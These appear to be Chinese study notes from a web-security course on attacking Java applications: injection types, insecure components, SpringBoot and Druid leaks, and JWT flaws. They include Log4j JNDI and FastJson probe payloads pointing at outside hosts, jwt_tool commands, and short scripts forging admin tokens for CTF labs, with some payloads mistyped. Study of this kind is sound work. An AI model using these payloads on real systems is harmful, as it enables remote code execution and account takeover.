第66天
靶场
https://github.com/bewhale/JavaSec
https://github.com/j3ers3/Hello-Java-Sec
sql注入 JDBC&MyBatis
JDBC
1、采用 statement 方法拼接 SQL 语句
2、Preparestatement会对 SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC 的封装,如果使用拼接语句便会产生注入
安全写法 :占位符(?)+ Preparestatement 预编译
MyBatis
MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。
1、orderby注入:由于使用#()会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用$()来解决,从而造成注入.丨
2、like注入:模糊搜索时,直接使用'%#{q}%'会报错,部分研发图方便直接改成'%${q}%'从而造成注入
3、in注入:in之后多个id查询时使用#同样会报错,从而造成注入。
-XXE注入-Reader&Builder
XXE(XML External Entity Injection),XML外部实体注入,当开发人员配置其
XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施
任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
SSTI 模版-Thymeleaf&URL
SSTI(Server Side Template Injection)服务器模板注入,服务端接收了用户的输入,将其作为 web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。1、URL 作视图
2、Velocity
3、Thymeleaf
其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html
SPEL表达式-SpringBoot框架
SpEL(SpringExpressionLanguage)表达式注入,是一种功能强大的表达式语
言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
1、Spring表达式
2、Spring反射绕过
参考:https://www.jianshu.com/p/e3c77c053359
RCE 执行- 5大类函数调用
-Groovy
-RuntimeExec
-ProcessImpl
-ProcessBuilder
-ScriptEngineManager
检测:(大部分白盒)黑盒看参数名和参数值
白盒看类函数名和可控变量
JNDI注入-RMI&LDAP&版本
对于安全来说最重要是 注入方式 rmi和ldap ,区别是限制不一样
什么是JNDI
JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等:
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
JDNI 注入安全问题(RCE)
JDNI注入利用条件(看上图)
Java 为了将 0bject 对象存储在 Naming或 Directory服务下,提供了 NamingReference 功能,对象可以通过绑定 Reference 存储在 Naming或 Directory 服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在 RMI 服务中调用了 InitialContext.lookup()的类有:
org.springframework.transaction.ita.JtaTransactionManager.readobiect()
com.sun.rowset.JdbcRowSetImpl.execute()iavax.management.remote.rmi.RMIConnector.connect()org.hibernate.jmx.StatisticsService.setSessionFactoryiNDIName (String sfUNDIName)
在 LDAP 服务中调用了 InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
检测:无黑盒思路白盒看类函数名和可控变量
参考:https://blog.csdn.net/dupei/article/details/120534024
不安全组件-Shiro&FastJson&JackJson&Xstream&Log4j
-Log4j:
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:https://avd.aliyun.com/search?q=Log4j
-Shiro:
Java安全框架,能够用于身份验证、授权、加密和会话管理。
强特征:勾选记住我后数据包会有remeberme的字段
历史漏洞:https://avd.aliyun.com/search?q=Shiro
-Jackson:
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson
-XStream:
开源JaVa类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
-FastJson:
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean
序列化为json字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson
数据类看数据包的数据类型,再进一步分析
-白盒审计不安全组件漏洞:
FastJson 审计
1、看引用组件版本及实现
JSON.parse () JSON.parseObject ()
2、找可控变量及访问实现
admin/product propertyJson
3、测试出网回显调用访问
{"@type":"java.net.Inet4Address", "val":"atcuqbczqs.dnstunnel.run"}
Log4j审计
1、看引用组件版本及实现
1ogger.info logger.error
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
3、测试出网回显调用访问
$(jndi:ldap://jebqzwhwtn.dnstunnel.run)
$(jndi:rmi://47.94.236.117:1099/16vlwz)
不回显常见判断通用方法:
1、直接将执行结果写入到静态资源文件里,如html、js等,然后访问。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
3、接将命令执行结果回显到请求POc的HTTP响应中。
不回显常见判断细节方法:
例:https://mp.weixin.qq.com/s/qhLhgbNwocCO7AN48eQOsw
68天
WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
Java安全-反序列化-原生序列化类函数
序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的
过程,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为
rOOAB,JAVA常见的序列化和反序列化的方法有JAVA原生序列化和JSON类(
fastjson、jackson)序列化等。
0、黑盒发现(流量捕获)
0、白盒发现(特征类接口函数)
1、原生序列化类函数:|
-SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
-XMLDecoder:xml语言格式序列化类函数接口
-ObjectInputStream.readObject():任何类如果想要序列化必须实现
java.io.Serializable接口
2、利用项目:
-Yakit https://yaklang.com/
-https://github.com/frohoff/ysoserial
-https://github.com/NotSoSecure/SerializedPayloadGenerator
Java安全-SpringBoot框架-泄漏&CVE
SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理SpringBoot应用。
0、检测清单:
https://github.com/LandGrey/SpringBootVulExploit
1、黑盒发现(人工识别,BP插件)|
https://github.com/API-Security/APIKit
1、白盒发现(pom.xml,引用库)
Actuator设置全部暴露
management.endpoints.web.exposure.include=*
2、泄漏安全(配置密码,AK/SK等) I
https://github.com/whwlsfb/JDumpSpider
https://github.com/wyzxxz/heapdump_tool
3、漏洞安全(利用类,CVE漏洞等)
https://github.com/AabyssZG/SpringBoot-Scan
https://github.com/LandGrey/SpringBootVulExploit
关键点:act是否开启 能否下载heapdump
69天
WEB 攻防-Java 安全&JWT 攻防&Swagger 自动化&算法&签名&密匙&Druid 泄漏
Java 安全-Druid 监控-未授权访问&信息泄漏
参考:https://developer.aliyun.com/article/1260382
Druid 是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid 提供的监控功能,监控 SQL的执行时间、监控 web URI的请求、Session 监控。当开发者配置不当时就可能造成未授权访问漏洞。
攻击点:
1、直接拼接URL(druid)路径,尝试能否直接未授权访问系统功能点。
2、结合泄露 URL 路径和 session 信息,利用 Burpsuite 进行尝试登录。
3、利用 Cookie 编辑器替换 session,再次访问后台路径尝试进入后台。
Java 安全-Swagger接囗-导入&联动批量测试
Swagger 是一个用于生成、描述和调用RESTful接口的web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql 注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自动化接口漏洞安全测试。
1、自动化发包测试
Postman:https://github.com/hlmd/Postman-cn
2、自动化漏洞测试
联动 BurpSuite xray 等
Java 安全-JWT令牌-空算法&未签名&密匙获取
JSON web Token(JWT)。它遵循JSON格式,将用户信息加密到 token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。这使得JWT成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
-JWT 识别
1、标头(Header)
Header是 JWT的第一个部分,是一个JSON 对象,主要声明了JWT的签名算法,如"HS256”、"RS256"等,以及其他可选参数,如"kid"、"jku"、"x5u"等
alg字段通常用于表示加密采用的算法。如"HS256"、"RS256"等
typ 字段通常用于表示类型
还有一些其他可选参数,如"kid"、"jku"、"x5u"等
2、有效载荷(Payload)
Payload是JWT的第二个部分,这是一个JSON 对象,主要承载了各种声明并传递明文数据,用于存储用户的信息,如id、用户名、角色、令牌生成时间和其他自定义声明。
iss:该jwt 面向的用户。
sub:该字段表示jwt的签发者。
aud:jwt的接收方。
exp:jwt的过期时间,通常来说是一个时间戳。
iat:jwt的签发时间,常来说是一个时间戳。
jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表,当客户端携带jwt访问的时候需要在iti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉,毕竟jwt所宣称的优点就是无状态访问
签名(signature)
Signature 是对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header 的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的 JWT。对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header 的 alg 中。同时拥有该部分的JWT被称为Jws,也就是签了名的JWT。
第一部分:对JSON的头部做base64编码处理得到
第二部分:对JSON类型的payload做base64 编码处理得到
第三部分:分别对头部和载荷做base64编码,并使用.拼接起来使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为JWT
在线解析:https://jwt.io/
BURP插件:Hae(商店没有)或JSON Web Tokens
eyj为流量特征
-JWT安全
1、空加密算法
签名算法可被修改为 none,JwT支持将算法设定为"None"。如果"alg"字段设为"None",那么签名会被置空,这样任何token都是有效的
2、未校验签名
某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token 或者直接删除signature再次请求查看其是否还有效。
3、暴力破解密钥
某些签名算法,例如HS256(HMAC+SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建 JwT,然后用密钥重新给令牌签名。
4、其他安全参考:(源码泄漏密匙,Kid注入等)
https://blog.csdn.net/weixin 44288604/article/details/128562796
-JWT 利用
利用项目:https://github.com/ticarpi/jwt tool-web345 (None 无签名认证)
-web346(None 算法绕过签名)
-web347(弱口令密钥获取)
-web348(爆破密钥上题一样)
使用 None 算法
python3 jwt tool.Py JWT HERE -X a
自定义修改生成
python3 jwt tool.PY JWT HERE -T
使用字典破解
python3 jwt tool.py JWT HERE -C -d dictionary.txt#指定密码测试
python3 jwt tool.py JWT HERE - p password here
-web349(公钥私钥泄露)
公钥私钥泄露,访问/private.key /public.key得到公钥密钥服务器私钥生成jwt,利用公钥解密jwt,只要有私钥重新生成
import jwt
public =open('private.key','r').read()payload={"user":"admin")}
print(jwt.encode(payload,key=public, algorithm='Rs256'))
-Web350(密钥混淆攻击RS256=>HS256)
将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
var jwt =require(jsonwebtoken');
var fs =require('fs');
var privateKey = fs.readFileSync('./public.key');
var token=jwt.sign({ user: 'admin'},privateKey,{ algorithm:'HS256'});
console.log(token)
2、黑盒 JwT 测试
首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除token后仍然可以正常响应对应页面
2)敏感信息泄露:通过 Jwt.io 解密出 Payload 后查看其中是否包含敏感信息,如弱加密的密码等
3)破解密钥+越权访问:通过 JWT.io 解密出 Payload 部分内容,通过空加密算法或密钥爆破等方式实现重新签发 Token 并修改 Payload 部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
4)检査 Token 时效性:解密査看 payload 中是否有 exp 字段键值对(Token 过期时间),等待过期时间后再次使用该Token 发送请求,若正常响应则存在Token 不过期
5)通过页面回显进行探测:如修改Payload 中键值对后页面报错信息是否存在注入,payload 中 kid 字段的目录遍历问题与 sql 注入问题
没有评论